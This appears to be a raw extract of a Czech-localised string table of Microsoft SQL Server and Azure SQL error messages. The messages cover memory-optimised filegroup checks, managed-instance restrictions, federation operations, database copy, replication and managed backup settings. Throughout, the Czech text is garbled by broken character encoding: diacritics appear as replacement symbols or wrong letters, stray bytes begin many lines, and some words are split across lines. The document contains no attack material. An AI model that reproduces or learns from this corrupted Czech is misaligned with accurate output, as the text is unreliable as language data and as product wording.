�Byla zjiatna chyba konzistence pameov optimalizovan� tabulky segmento. Aktu�ln� segment jde zp�tky d�le ne~ z�znam definice segmentu N-2. Stara� segment: CkptId = %1!s!, LsnInfo = (%2!s!:%3!s!), TxBegin = %4!s!, TxEnd = %5!s!. Novja� segment: CkptId = %6!s!, LsnInfo = (%7!s!:%8!s!), TxBegin = %9!s!, TxEnd = %10!s!.

�Byla zjiatna chyba konzistence pameov optimalizovan�ho souboru. V tabulce souboro kontroln�ch bodo je odkazov�no na pou~it� soubor s FileId %1!s!, ale v rozhran� �lo~iat takov� soubor nen�.

TByla zjiatna chyba konzistence pameov optimalizovan�ho souboru. Nejde naj�t soubor s FileId %1!s! v tabulce mez� souboro viditeln� pro ID kontroln�ho bodu %2!s!.

@Byla zjiatna chyba konzistence pameov optimalizovan�ho souboru. Soubor s FileId %1!s! o velikosti %2!s! bajto je mena�, ne~ je o
ek�v�no   %3!s! bajto.

�Byla zjiatna chyba konzistence pameov optimalizovan� tabulky velk�ch Y�dko. ID souboru je %1!s!. Odpov�daj�c� rozsah LSN nen� vzestupn�. Po
�te
n� Lsn je (%2!s!:%3!s!), koncov� Lsn je (%4!s!:%5!s!).

�Byla zjiatna chyba konzistence pameov optimalizovan� tabulky velk�ch Y�dko. Odpov�daj�c� soubor %1!s! se nenaael v tabulce souboro. Po
�te
n� Lsn je (%2!s!:%3!s!), koncov� Lsn je (%4!s!:%5!s!).

�Kontroln� bod %1!s! odkazuje na koYenov� soubor %2!s!, kter� byl pou~it pozdja�m kontroln�m bodem.

�Kontroln� bod %1!s! m� soubor %2!s!, kter� m� mez (%3!s!) vyaa�, ne~ je mez novja�ch kontroln�ch bodo (%4!s!).

XSoubor %1!s! nem� p�rov� soubor %2!s!.

�Nezpracovan� soubor %1!s! nem� p�rov� soubor, kter� by byl tak� nezpracovan�. Zpracovan� p�rov� soubor je %2!s!.

�Byly zjiatny chyby konzistence ve skupin souboro MEMORY_OPTIMIZED_DATA. Podrobnosti najdete v pYedchoz�ch chybov�ch zpr�v�ch. Pokyny k zotaven� z tchto chyb najdete na adrese https://go.microsoft.com/fwlink/?linkid=845604.

Nealo dokon
it kontroly pameov optimalizovan� skupiny souboro z dovodu syst�mov�ch chyb. Podrobnosti najdete v protokolu chyb.

�Modul OLTP v pamti verze %1!s!.%2!s! nen� na t�to platform podporov�n.

�Netrval� tabulky XTP se bhem obnovy datab�ze %1!s! nepovedlo znovu vytvoYit.

HJedna nebo v�ce mo~nost� (%1!s!) nejsou pro tento pY�kaz ve spravovan� instanci SQL Database podporov�ny. Pod�vejte se do dokumentace na podporovan� mo~nosti.

Nepodporovan� typ zaY�zen�. Spravovan� instance SQL Database podporuje obnoven� datab�ze jenom ze z�lohovac�ho zaY�zen� URI.

�Mo~nost FILENAME nen� pro spravovanou instanci SQL Database podporov�na.

,Selhal pY�kaz BACKUP DATABASE. Spravovan� instance SQL Database podporuje jen �pln� z�lohy datab�ze COPY_ONLY, kter� jsou iniciov�ny u~ivatelem.

�Ulo~en� procedura %1!s! nen� ve spravovan� instanci SQL Database podporov�na.

�PY�kaz %1!s! nen� ve spravovan� instanci SQL Database podporov�n.

�Nepodporovan� typ souboru bhem obnoven� na spravovan� instanci SQL Database.

�Ve spravovan� instanci SQL Database jsou podporov�ny pouze trasy  local .

�Zmna n�zvu logick�ho souboru nen� pro spravovanou instanci SQL Database podporov�na.

�PYid�n�/odebr�n�/zmna souboro protokolo nen� pro spravovanou instanci SQL Database podporov�na.

�PYid�n� nebo odebr�n� souboru nebo skupiny souboro XTP nen� ve spravovan� instanci SQL Database podporov�no.

�Bylo dosa~en maxim�ln� po
et datab�z� pro spravovanou instanci SQL Database.

�V�ce souboro filestream nen� ve spravovan� instanci SQL Database podporov�no.

Funkce agenta SQL Server %1!s! nen� ve spravovan� instanci SQL Database podporov�na. Podporovan� mo~nosti najdete v dokumentaci.

Pameov optimalizov�na skupina souboro mus� b�t pr�zdn�, aby ji bylo mo~n� obnovit v aktu�ln� vrstv spravovan� instance SQL Database.

�Bylo dosa~en maxim�ln� po
et souboro (%1!s!) pro spravovanou instanci SQL Database.

�Odstrann� m�stn� instance prostYednictv�m pY�kazu sp_dropserver nen� ve spravovan� instanci datab�ze SQL povoleno.

�Zad�n� souboro a skupin souboro v pY�kazu CREATE DATABASE nen� u spravovan� instance SQL Database podporov�no.

�V�ce sad z�loh v jednom souboru z�lohy nen� ve spravovan� instanci SQL Database podporov�no.

�Tato funkce nen� podporov�na prostYednictv�m T-SQL na spravovan� instanci SQL Database.

�Obnoven� ze z�lohy, kter� obsahuje v�ce souboro protokolu, nen� ve spravovan� instanci datab�ze SQL podporov�no.

Operace z�lohov�n� pro datab�zi s transparentn�m aifrov�n� dat spravovan�m slu~bou nen� na spravovan� instanci SQL Database podporov�na.

�Nejde naj�t server certifik�t s kryptografick�m otiskem %1!s!. Pou~ijte rutinu prostYed� PowerShell Add-AzureRmSqlManagedInstanceTransparentDataEncryptionCertificate a tento certifik�t vytvoYte.

Vaechny soubory v t�to edici spravovan� instance mus� m�t velikost maxim�ln %1!s! MB. ID souboru: %2!s!. Velikost: %3!s! B.

�Pokud datab�ze obsahuje v�ce datov�ch souboro, vaechny soubory v t�to edici spravovan� instance mus� m�t maxim�ln� velikost souboru vta� ne~ %1!s! MB. ID souboru: %2!s!. Velikost: %3!s! B.

�Sekund�rn� skupina souboro nen� v t�to edici spravovan� instance podporov�na. ID souboru: %1!s!.

�N�zev souboru XTP je vyhrazen� pro soubory obsahuj�c� data OLTP v pamti.

�N�zev skupiny souboro XTP je vyhrazen� pro skupinu souboro obsahuj�c� data OLTP v pamti.

�Jeden nebo v�ce souboro nejsou po obnoven� ve stavu online.

�prava po
tu souboro a maxim�ln� velikosti pro datab�zi TempDb nen� zat�m ve spravovan� instanci SQL Database podporov�na.

�Spravovanou datab�zi %1!s! nejde pYejmenovat, proto~e se aktu�ln pou~�v�.

�N�hradn� procesy a m�stn� 
as se pro spravovanou instanci nepovedlo inicializovat. %1!s!

xPY�kaz %1!s! nen� v aktu�ln� verzi serveru podporov�n.

0Spravovan� instance dos�hla celkov� kapacity podkladov�ho �
tu �lo~iat Azure. �
et Azure Premium Storage je omezen� na 35 TB pYidlen�ho prostoru.

�Tato funkce nen� podporov�na v edici Hyperscale Spravovan� instance SQL Database.

�Anal�za konfigurace XML se nezdaYila. Opera
n� syst�m vr�til chybu %1!s!.

�Anal�za konfigurace XML se nezdaYila. Analyz�tor vr�til chybu %1!s!.

�Anal�za konfigurace XML se nezdaYila. Chyb� po~adovan� atribut %1!s!.

�Anal�za konfigurace XML se nezdaYila. Chyb� po~adovan� element %1!s!.

�Anal�za konfigurace XML se nezdaYila. Hodnota atributu %1!s! nen� platn�.

�V�choz� adres�Y datab�ze tempdb (%1!s!) v XDB nen� platn� cesta.

�V�choz� adres�Y datab�ze tempdb (%1!s!) v XDB nen� m�stn� cesta.

pChyba ODBC: Stav: %1!s!: Chyba: %2!s! Zpr�va: %3!s!

dNepovedlo se naj�t certifik�t instance %1!s!.

`Nejde iniciovat pYipojen� kY�~ov� instance.

HChyba inicializace ODBC: %1!s!

hXodbcWrapper   vynucen� opakov�n� pro testov�n�

HChyba inicializace HTTP: %1!s!

�Nejde na
�st konfiguraci pYihlaaovac�ch �dajo spr�vce serveru.

�PYi pokusu o vzd�len� ovYen� u~ivatele doalo k chyb. Chyba: %1!s!, stav: %2!s!

@V DosGuardu doalo k chyb.

�PYi anal�ze paketu proxy serveru pYesmrova
e. O
ek�van�: %1!s!, skute
nost: %2!s!

�Vzd�len� transakce je ur
en� k odstrann� a nejde ji potvrdit.

DOperace %1!s! selhala. %2!s!

PAktualizace jm�na na %1!s! selhala.

�Inicializace obslu~n� rutiny relace http pro na
ten� metadat federace bhem inicializace AzureActiveDirectory selhala.

�Inicializace obslu~n� rutiny pYipojen� http pro na
ten� metadat federace bhem inicializace AzureActiveDirectory selhala.

�Aktualizace vlastnost� userdb pro ukon
en� kop�rov�n� selhala.

dPYepnut� na logickou hlavn� datab�zi selhalo.

�Roza�Yen� z�sobn�k rozvtven� v metadatech FCB je bu poakozen�, nebo v neo
ek�van�m form�tu.

`Na
ten� knihovny Active Directory selhalo.

�Inicializace ukazatelo na funkce Active Directory selhala.

\Datab�ze %1!s! se odpojila, proto~e byla ozna
en� jako instance sd�len�ho disku a nebyla spuatn�. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�PYi generov�n� nov�ho DBTS pro datab�zi %1!s! doalo k vnitYn� chyb. Zopakujte pros�m operaci.

�Aktualizace sys.databases logick� hlavn� datab�ze pYi dokon
en� synchronizace replik indexo se nepovedla.

�Tato funk
nost se u izolovan�ch instanc� A/B testu nepodporuje.

|Funkce XODBC Get Authentication Cache selhala, stav %1!s!

�Aktualizace distribuovan� konfigurace skupin dostupnosti se nezdaYila.

xSpouatc� hostitele federace selhalo s chybou 0x%1!s!.

T%1!s! nen� platn� pYihlaaovac� jm�no.

�Velikost �lo~iat %1!s! MB pYekra
uje maxim�ln� dovolen� �lo~iat %2!s! MB.

xNkolik pravidel br�ny firewall m� stejn� n�zev %1!s!.

�%1!s! nen� platn� n�zev pravidla br�ny firewall, proto~e obsahuje neplatn� znaky.

�%1!s! nen� platn� n�zev datab�ze, proto~e obsahuje neplatn� znaky.

XN�zev datab�ze %1!s! je pY�lia dlouh�.

\%1!s! nen� platn� znakov� sada datab�ze.

P%1!s! nen� platn� kolace datab�ze.

�Velikost �lo~iat %1!s! MB nesplHuje minim�ln� po~adovan� �lo~iat %2!s! MB.

<%1!s! nejde aktualizovat.

<%1!s! nen� platn� verze.

TN�zev konfigurace nemo~e b�t pr�zdn�.

lHodnota pro konfiguraci %1!s! nemo~e b�t pr�zdn�.

xStejnou konfiguraci %1!s! nejde aktualizovat v�cekr�t.

�Konfigurace %1!s! neexistuje pro server %2!s! ve verzi %3!s!.

�Hodnota %1!s! pro konfiguraci %2!s! nen� platn�. Povolen� hodnoty jsou %3!s!.

lDefinovan� n�zvy konfigurace nejsou konzistentn�.

�Hodnota %1!s! pro konfiguraci %2!s! nen� konzistentn� s v�choz� hodnotou %3!s!.

hZdroj %1!s! pro konfiguraci %2!s! nen� platn�.

8Velikost �lo~iat %1!s! MB nen� platn� konfigurace. Platn� velikosti �lo~iat jsou od minima %2!s! MB v pY�rostc�ch po %3!s! MB a~ do maxima %4!s! MB.

<Bod v 
ase %1!s! nen� platn�. Platn� body v 
ase mohou b�t od doby pYed %2!s! dny do tohoto okam~iku a nesm� b�t pYed 
asem vytvoYen� zdrojov�ho serveru.

�Edice %1!s! nen� platn� edice. Edici nen� mo~n� zmnit obnoven�m.

�Velikost �lo~iat %1!s! MB je ni~a� ne~ velikost zdrojov�ho �lo~iat.

�Verze %1!s! nen� platn� verze. Verzi nen� mo~n� zmnit obnoven�m.

�Vstupn� parametr je nespr�vn�. Zkontrolujte dokladn vstup.

xNejde vyYadit syst�movou datab�zi %1!s!, pYeskakuje se.

XGeografick� obnoven� nen� podporov�no.

PFunkce replikace nen� podporov�na.

�Edice %1!s! mus� b�t stejn� jako prim�rn� server pYi vytv�Yen� serveru repliky.

�Verze %1!s! mus� b�t pYi vytv�Yen� serveru repliky stejn� jako prim�rn� server.

�Velikost �lo~iat %1!s! MB je ni~a� ne~ velikost �lo~iat prim�rn�ho serveru.

�Nebyl nalezen ~�dn� dostupn� prim�rn� server %1!s! pYi vytv�Yen� serveru repliky.

�Prim�rn� server %1!s! u~ m� maxim�ln� po
et servero replik.

�Server repliky nen� pYi zv�aen� �rovn v pYipraven�m stavu.

`%1!s! a %2!s! nejde aktualizovat spole
n.

�Nespr�vn� vstupn� parametr pYi vytv�Yen� serveru repliky. Dokladn vstup zkontrolujte.

�PYi zpracov�n� po~adavku na obnoven� doalo k vnitYn� chyb. K tomuto po~adavku bylo pYiYazeno ID trasov�n� %1!s!. Zpr�va je  %2!s!  a podrobnosti  %3!s! . Pokud budete potYebovat pomoc z�kaznick� podpory, uvete toto ID trasov�n�/zpr�vu/podrobnosti.

�Operace %1!s! se nezdaYila. Zadan� n�zev federace neexistuje.

�Operace %1!s! se nezdaYila. Zadan� n�zev distribuce federace %2!s! je neplatn�.

�Operace %1!s! se nezdaYila. Zadan� datov� typ nen� podporov�n jako distribuce federace.

�Operace %1!s! se nezdaYila. Zadan� hodnota nen� platn� pro distribuci federace %2!s! a federaci %3!s!.

�Hodnotu filtru nelze nastavit nebo ji~ byla pro tuto relaci nastavena.

xHodnota federa
n�ho kl�
e pro toto 
�slo je mimo meze.

�Operaci %1!s! nelze spustit, prob�h�-li pro federaci %2!s! a 
lena s ID %3!s! jin� operace federace.

�Odd�l ve skupin tabulek s definovan�m kl�
em odd�lu nesm� b�t 
lenem federace.

L%1!s! nen� podporov�n pro %2!s!.

\Zadan� operace federace je ji~ pou~�v�na.

LZadan� federace %1!s! neexistuje.

�Operace %1!s! se nezdaYila. Zadan� n�zev federace %2!s! je neplatn�.

xZadan� operace federace je pro operaci %1!s! neplatn�.

�Operace %1!s! se nezdaYila. Federace se nach�z� v neplatn�m stavu.

�Operace %1!s! se nezdaYila. %2!s! nen� platn� ID federace.

�Operace %1!s! se nezdaYila. %2!s! nen� platn� ID 
lena federace.

LVlo~en� nebo aktualizace sloupce je v konfliktu s rozsahem 
lena federace. PY�kaz byl ukon
en. Ke konfliktu doalo v datab�zi %1!s!, tabulce %2!s!, sloupci %3!s!.

D%1!s! nelze volat pro %2!s!.

Operace ALTER FEDERATION SPLIT se nezdaYila. Zadan� hodnota hranice pro distribuci federace %1!s! a federaci %2!s! ji~ existuje.

�Operace %1!s! se nezdaYila. Zadan� hodnota hranice nen� platn� pro distribuci federace %2!s! a federaci %3!s!.

�Operace %1!s! se nezdaYila. Zadan� hodnota hranice pro distribuci federace %2!s! a federaci %3!s! neexistuje.

�Operace %1!s! se nezdaYila. Zadan� informace o typu nen� pro distribuci federace platn�.

�Operace %1!s! se nezdaYila. Zadan� hodnota hranice nen� pro aktu�ln�ho 
lena federace platn�.

�Operace %1!s! se nezdaYila. Velikost sch�matu distribuce federace nesm� pYesahovat 900 bajto.

�V pY�kazu USE FEDERATION chyb� po~adovan� mo~nost %1!s!. Zadejte tuto mo~nost v klauzuli WITH dan�ho pY�kazu.

�PY�kaz USE FEDERATION nen� podporov�n u pYipojen�, kter� m� povoleno nkolik aktivn�ch sad v�sledko dotazu.

�PY�kaz USE FEDERATION nen� povolen v kontextu zosobnn�ho kontextu pYipojen�, kter� je nevratn�.

�len federace %1!s! nen� dostupn�. Pr�v jej vytv�Y� nebo vyYazuje jin� pY�kaz.

�Datab�zi 
lena federace nelze vyYadit pomoc� pY�kazu DROP DATABASE.

�Datab�zi 
lena federace nelze pYejmenovat pomoc� pY�kazu ALTER DATABASE.

�Operace ALTER FEDERATION SPLIT byla pYeruaena. Federace %1!s! byla vyYazena v dob, kdy jeat prob�halo rozdlen�.

�Z dovodu vnitYn� chyby se operace ALTER FEDERATION SPLIT nezdaYila. K tomuto po~adavku bylo pYiYazeno ID trasov�n� %1!s!. Pokud budete potYebovat pomoc z�kaznick� podpory, uvete toto ID trasov�n�.

|PY�kaz CREATE DATABASE AS COPY OF %1!s! nen� podporov�n.

XDatab�zi 
lena federace nelze obnovit.

�C�l slu~by pro datab�zi 
lena federace nelze zmnit pomoc� pY�kazu ALTER DATABASE.

hMo~nosti datab�ze 
lena federace nelze zmnit.

xMo~nosti koYenov� datab�ze 
lena federace nelze zmnit.

�PY�kaz ALTER FEDERATION SWITCH %1!s! nen� podporovan� u 
leno federace %2!s!.

�Proveden� pY�kazu ALTER FEDERATION SWITCH IN selhalo. %1!s! nen� platn� datab�ze, na kterou je mo~n� pYepnout.

0Proveden� pY�kazu ALTER FEDERATION SWITCH IN selhalo. Hodnota %1!s! kl�
e federace ve sloupci %2!s! neodpov�d� pY�sluan� vlastnosti federace %3!s!.

�Operace %1!s! se nepovedla. Zadan� hodnota federace %2!s! neodpov�d� sou
asn�mu 
lenovi.

�Parametr %1!s! mus� obsahovat vaechny konfigurovateln� vlastnosti dimenz�.

xParametr %1!s! mus� obsahovat nastaven� vaech dimenz�.

�Posledn� nastaven� dimenze nelze obnovit na jin� ne~ v�choz�.

`V�choz� nastaven� dimenze nelze odstranit.

pNelze pYiYadit zastaral� nastaven� jako n�sledn�ka.

�Nelze vytvoYit novou polo~ku. Byl dosa~en maxim�ln� po
et zY�zen�.

�C�l slu~by nelze obnovit na koncept z aktivovan�ho 
i deaktivovan�ho stavu.

TNelze deaktivovat c�l v�choz� slu~by.

�Parametr %1!s! obsahuje konfliktn� v�bry nastaven� dimenz�.

�Hodnotu parametru %1!s! nelze pou~�t s c�lem slu~by, kter� nen� v re~imu konceptu.

xPosledn� c�l slu~by nelze obnovit na jin� ne~ v�choz�.

PNelze odstranit c�l v�choz� slu~by.

|V re~imu konceptu nelze nastavit c�l slu~by jako v�choz�.

lNelze upravit nastaven� ozna
en� jako zastaral�.

pDeaktivovan� c�l slu~by nelze pYiYadit k datab�zi.

�Nelze odstranit nastaven� bez n�sledn�ka pYiYazen�ho k pYeveden� na zastaral�ho.

TNelze odstranit c�l syst�mov� slu~by.

�C�l syst�mov� slu~by nelze pYiYadit k u~ivatelsk� datab�zi.

hV�bry vlastnost� obsahuj� konfliktn� hodnoty.

dN�zev %1!s! u~ existuje. Vyberte jin� n�zev.

,Server %1!s! nepodporuje pameov optimalizovan� data. Zajistte, aby pameov optimalizovan� data podporoval jak zdrojov�, tak i c�lov� server.

%1!s!

Aktualizov�n� maxim�ln� velikosti nen� pro datab�zi %1!s! podporov�no. Datab�ze bude automaticky rost s vkl�d�n�m dala�ch dat.

xParametr %1!s! nesm� b�t pr�zdn� nebo m�t hodnotu NULL.

@Parametr %1!s! nen� platn�.

@Parametr %1!s! nen� platn�.

@Parametr %1!s! nen� platn�.

@Parametr %1!s! nen� platn�.

@Parametr %1!s! nen� platn�.

@Parametr %1!s! nen� platn�.

hKe ka~d� datab�zi je nutn� pYiYadit c�l slu~by.

TPYipojen� bylo pYeruaeno v probhu operace a v�sledek operace nen� zn�m�. Chcete-li zjistit aktu�ln� stav �lohy, provete dotaz na zobrazen� sys.dm_operation_status.

�The remote partner server name '%1!s!' could not be resolved.

hAktualizovat lze pouze prob~n� kopie datab�z�.

dUkon
ovat lze pouze prob~n� kopie datab�z�.

� K vytvoYen� kopie datab�ze na serveru %1!s! chyb� potYebn� opr�vnn�.

�N�zev c�lov� datab�ze %1!s! ji~ na serveru %2!s! existuje.

�N�zev zdrojov�ho serveru mus� odpov�dat serveru aktu�ln�ho pYipojen�.

�Maxim�ln� prodleva nepodporuje zadanou hodnotu. Maxim�ln� prodleva mus� b�t v rozsahu %1!s! a~ %2!s!.

�Kop�rov�n� datab�z� je mo~n� zah�jit jenom na zdrojov�m serveru.

Hodnotu IsForcedTerminate nejde nastavit pYi vytv�Yen� kopie datab�ze. Je mo~n� ji jenom po vytvoYen� aktualizovat na zdrojov�m serveru.

PZdrojov� datab�ze %1!s! neexistuje.

�Prob~nou kopii nelze inicializovat ve zdrojov� datab�zi %1!s!, proto~e se jedn� o koYenov�ho 
lena federace.

`Vytv�Yet lze pouze prob~n� kopie datab�z�.

pJe po~adov�na vlastnost kop�rov�n� datab�ze %1!s!.

lVlastnost kop�rov�n� datab�ze %1!s! nelze zmnit.

h Polo~ka %1!s! nen� u entity %2!s! podporov�na.

p Prob~n� kopie nen� podporov�na v hlavn� datab�zi.

4 Funkce je zak�z�na.

| Zmna hodnot(y) %1!s! pro entitu %2!s! nen� podporov�na.

T Ukon
en� kopie datab�ze nejde prov�st, proto~e c�lov� server %1!s! nen� dostupn� nebo kopie datab�ze neexistuje na c�lov�m serveru. Zkuste pou~�t vynucen� ukon
en�.

P Slu~ba spr�vy aktu�ln nen� dostupn�.  Opakujte operaci pozdji.  Pokud probl�m potrv�, obraete se na z�kaznickou podporu a poskytnte ID trasov�n� relace %1!s!.

�Bezplatn� datab�ze pro pYedplatn� %1!s! u~ pro vybranou oblast existuje. PYedplatn� mo~e m�t jenom jednu bezplatnou datab�zi na ka~dou oblast. Pokud chcete zY�dit dala� bezplatnou datab�zi v r�mci stejn�ho pYedplatn�ho, zvolte jinou oblast. Kdybyste chtli zY�dit dala� bezplatnou datab�zi ve stejn� oblasti, pou~ijte jin� pYedplatn�.

�U pYedplatn�ho %1!s! u~ prob�h� operace s bezplatnou datab�z�. PYedplatn� mo~e m�t jenom jednu bezplatnou datab�zi na ka~dou oblast. Pokud chcete zY�dit dala� bezplatnou datab�zi v r�mci stejn�ho pYedplatn�ho, zvolte jinou oblast. Kdybyste chtli zY�dit dala� bezplatnou datab�zi ve stejn� oblasti, pou~ijte jin� pYedplatn�.

�Odbr %1!s! je zanepr�zdnn prov�dn�m jin� operace. Opakujte operaci pozdji.

�Server %1!s! je zanepr�zdnn prov�dn�m jin� operace. Opakujte operaci pozdji.

Nelze pYesunout server %1!s! ze zdrojov�ho odbru %2!s! do c�lov�ho odbru %3!s!. U ka~d�ho odbru je k dispozici pouze jedna bezplatn� datab�ze. Chcete-li pokra
ovat v prov�dn� operace pYesunut�, odstraHte jednu z bezplatn�ch datab�z� nebo pou~ijte jin� odbr.

lNelze pYesunout servery ze zdrojov�ho odbru %1!s! do c�lov�ho odbru %2!s!, proto~e oba odbry obsahuj� bezplatn� datab�ze. U ka~d�ho odbru je k dispozici pouze jedna bezplatn� datab�ze. Chcete-li pokra
ovat v prov�dn� operace pYesunut�, odstraHte jednu z bezplatn�ch datab�z� nebo pou~ijte jin� odbr.

�Odbr %1!s! neobsahuje ~�dn� servery, kter� by bylo mo~n� pYesunout.

�Spravovan� instance %1!s! je zanepr�zdnn� prov�dn�m jin� operace. Zkuste operaci opakovat pozdji.

�Operace se nezdaYila, proto~e odbr %1!s! je deaktivovan�.

�Po~adavek na vytvoYen� serveru mus� specifikovat pYihl�aen� k syst�mu SQL s heslem nebo pomoc� nastaven� vlastnosti IsFederatedAdminLogin na hodnotu True uv�dt, ~e pYihl�aen� spr�vce odpov�d� federovan�mu u~ivateli.

 Po
et kopi� datab�ze nen� platn�: %1!s!.  Aktu�ln je povoleno vytvoYen� pouze jedin� kopie datab�ze pYi vytvoYen� datab�ze.

�V bezplatn� datab�zi %1!s! nen� podporov�na prob~n� kopie.

�S datab�z� %1!s! byla �span provedena operace %2!s!, ale nkter� vlastnosti nelze zobrazit.

dDoalo k pokusu o pYechod do neplatn�ho stavu.

�Server %1!s! m� moc velk� po
et aktivn�ch pYipojen�. Zkuste to znovu pozdji.

�PYedplatn� %1!s! m� moc velk� po
et aktivn�ch pYipojen�. Zkuste to znovu pozdji.

pPro tuto ~�dost se nenaael dovryhodn� certifik�t.

Sekund�rn� datab�ze se mus� vytvoYit na stejn�m serveru jako prim�rn� datab�ze, pokud nen� zadan� hodnota vlastnosti IsContinuous.

�Parametr MaximumLag vy~aduje, aby byla zadan� hodnota vlastnosti IsContinuous.

�Nenaael se zdrojov� server pro odbr: %1!s!, skupinu prostYedko: %2!s!, n�zev serveru: %3!s!.

�Server %1!s! nejde zaYadit do fronty pro migraci. Pro server u~ existuje ~�dost o migraci 
ekaj�c� na vyY�zen�.

�Server %1!s! nejde zaYadit do fronty pro migraci. Migrace u~ prob�h�.

�Server %1!s! nealo za �
elem migrace zaYadit do fronty. Server pou~�v� funkci %2!s!, kter� br�n� jeho migraci.

�Server %1!s! nejde zaYadit do fronty pro migraci. Nepovedlo se naj�t c�lov� cluster pro migraci.

lRe~im vytv�Yen� datab�ze %1!s! nen� podporovan�.

�Vyprael 
asov� limit operace, tak~e se operace automaticky vr�tila zp�tky. Zkuste pros�m operaci zopakovat.

�ProstYedek s n�zvem %1!s! u~ existuje. Pokud chcete pokra
ovat, zadejte n�zev jin�ho prostYedku.

�ProstYedek s n�zvem %1!s! neexistuje. Pokud chcete pokra
ovat, zadejte platn� n�zev prostYedku.

�Datab�ze %1!s! je zanepr�zdnn� prov�dn�m jin� operace. Zopakujte pros�m operaci zopakovat pozdji.

|Pro datab�zi %1!s! prob�h� operace importu nebo exportu.

DID operace %1!s! se nenaalo.

�Ozn�men� o dokon
en� role zmny pro logick� server %1!s!, skupinu dostupnosti s ID %2!s!, m�stn� datab�zi s ID %3!s! se ignorovalo, proto~e se neshodovalo 
�slo aktu�lnosti. O
ek�valo se: %4!s!.

�Re~im vytv�Yen� datab�ze %1!s! nen� podporovan� ve stavu %2!s!.

�Ozn�men� o aktualizovan�m re~imu replikace pro logick� server %1!s!, skupinu dostupnosti s ID %2!s!, m�stn� datab�zi s ID %3!s!, partnerskou datab�zi s ID %4!s! se ignorovalo, proto~e aktu�ln� re~im replikace neodpov�dal o
ek�van� hodnot %5!s!.

<U~ivatel operaci zruail.

� Nedostate
n� opr�vnn� pro pYid�n� sekund�rn� datab�ze na server %1!s!

� %1!s! nen� platn� n�zev, proto~e obsahuje minim�ln jeden nepodporovan� znak unicode.

`Operaci nebylo mo~n� dokon
it, proto~e v�sledkem by byla ztr�ta dat sekund�rn� datab�ze %1!s! na serveru %2!s!. Pokud chcete pYesto pokra
ovat, nastavte parametr replace.

Hodnota zadan� pro allow_connections neodpov�d� hodnot pro existuj�c� relaci replikace pro datab�zi %1!s! na serveru %2!s!.

�Datab�ze %1!s! na serveru %2!s! u~ je c�lem jin� relace replikace.

pOperaci nebylo mo~n� dokon
it, proto~e jej�m v�sledkem by byla c�lov� datab�ze %1!s! na serveru '%2!s! s ni~a�m c�lem slu~by, ne~ jak� m� zdrojov� datab�ze %3!s! na serveru %4!s!.

�Operaci nebylo mo~n� dokon
it, proto~e datab�ze %1!s! na serveru %2!s! je zdrojem jin� relace replikace.

�Operace s prostYedkem se nedokon
ila, proto~e ji pYeruaila jin� operace se stejn�m prostYedkem.

Na serveru %1!s! a v datab�zi %2!s! prob�h� operace �dr~by syst�mu. Ne~ to budete zkouaet znovu, p�r minut pros�m po
kejte.

�PY�kaz MODIFY LOG FILE selhal. Velikost je veta� ne~ hodnota MAXSIZE.

�Tento pY�kaz vy~aduje prohled�n� aifrov�n� datab�ze %1!s!. Datab�ze ale obsahuje zmny z pYedchoz�ch prohled�n� aifrov�n� 
ekaj�c� na z�lohu protokolu. Po
kejte pros�m p�r minut, ne~ se dokon
� z�loha protokolu, a pak zkuste pY�kaz zopakovat.

lServer %1!s! nen� pYidru~en� ke klientovi %2!s!.

XSlu~ba SQL Server Agent nen� spuatna.

�Po %1!s! sekund�ch 
ek�n� na dokon
en� �lohy Smart Admin vyprael 
asov� limit. Spusete ulo~enou proceduru znovu.

�Parametr @state nesm� m�t hodnotu NULL a ml by m�t hodnotu 1 nebo 0. Chcete-li zah�jit spravovan� z�lohov�n� syst�mu SQL Server do slu~by Windows Azure, zadejte hodnotu 1. Chcete-li operaci pozastavit, zadejte hodnotu 0.

�Hodnota parametru %1!s! nesm� b�t NULL ani pr�zdn�. Zadejte platnou hodnotu parametru %2!s!.

�Nebylo zad�no nastaven� z�lohov�n�. Zadejte alespoH jedno nastaven� z�lohov�n�, kter� m� b�t konfigurov�no.

�Zadan� hodnota parametru @type nen� platn�. Parametr @type mus� m�t hodnotu Database nebo Log.

%1!s!

�Hlavn� pYep�na
 spravovan�ho z�lohov�n� syst�mu SQL Server do slu~by Windows Azure nen� zapnut.

(Hodnota parametru pro e-mail s ozn�men�m nebyla zad�na nebo je NULL. Chcete-li povolit ozn�men� pro funkci Smart Admin, zadejte platn� e-mail.

Datab�zov� poata nen� ve slu~b SQL Agent povolena pro ozn�men�. Povolte datab�zovou poatu jako poatovn� syst�m pro upozornn�.

�Profil Datab�zov� poaty nen� nastaven pro ozn�men� slu~by SQL Agent.

�Zad�na hodnota parametru %1!s! nen� platn�. Zadejte platnou hodnotu %2!s!.

dPokud je pro argument @scheduling_option nastaven� hodnota Custom, mus� b�t zadan� argumenty @full_backup_freq_type, @backup_begin_time, @backup_duration a @log_backup_freq.

�Pokud je argument @full_backup_freq_type nastaven� na hodnotu Weekly, mus� b�t zadan� argument @days_of_week.

tUkl�d�n� do m�stn� mezipamti jeat nen� podporovan�.

hPokud je pro argument @scheduling_option nastaven� hodnota System, nesm� b�t zadan� argumenty @full_backup_freq_type, @backup_begin_time, @backup_duration a @log_backup_freq.

Pokud je argument @encryption_algorithm nastaven� na hodnotu NO_ENCRYPTION, nesm� b�t zadan� argumenty @encryptor_type a @encryptor_name.

 Pokud nen� argument @encryption_algorithm nastaven� na hodnotu NO_ENCRYPTION, mus� b�t zadan� argumenty @encryptor_type a @encryptor_name.

�Pokud je argument @full_backup_freq_type nastaven� na hodnotu Daily, nesm� b�t zadan� argument @days_of_week.

`ProstYedek se pYesunul do jin�ho um�stn�.

�Operace s objektem SLO %1!s! nemo~e b�t �span�, proto~e vyu~it� pamti pro %2!s! pYekra
uje kv�tu.

�Kvoli 
asov�mu limitu doalo k pokusu o automatick� vr�cen� aktivace zpt nebo zruaen� aktivace, ale to se v aktu�ln�m stavu nepodporuje. Zkontrolujte pros�m stav datab�ze po dokon
en� t�to operace.

�Nenaael se odhad elastick�ho fondu %1!s! pro server %2!s!.

�Po~adavek nejde zpracovat kvoli konfliktu, kter� obsahuje: %1!s!

�The external admin cannot be set because the user or group already exists in the 'master' database.

tPoradce %1!s! pro po~adovan� prostYedek nealo naj�t.

�Doporu
enou akci %1!s! pro poradce %2!s! se nepovedlo naj�t.

Operaci nejde dokon
it, proto~e datab�ze %1!s! na serveru %2!s! se zotavuje ze zmny role geografick� replikace a nen� aktu�ln zposobil� st�t se prim�rn� nebo samostatnou datab�z�. Po
kejte, ne~ relace opust� stav replikace SUSPENDED, a zkuste to znovu.

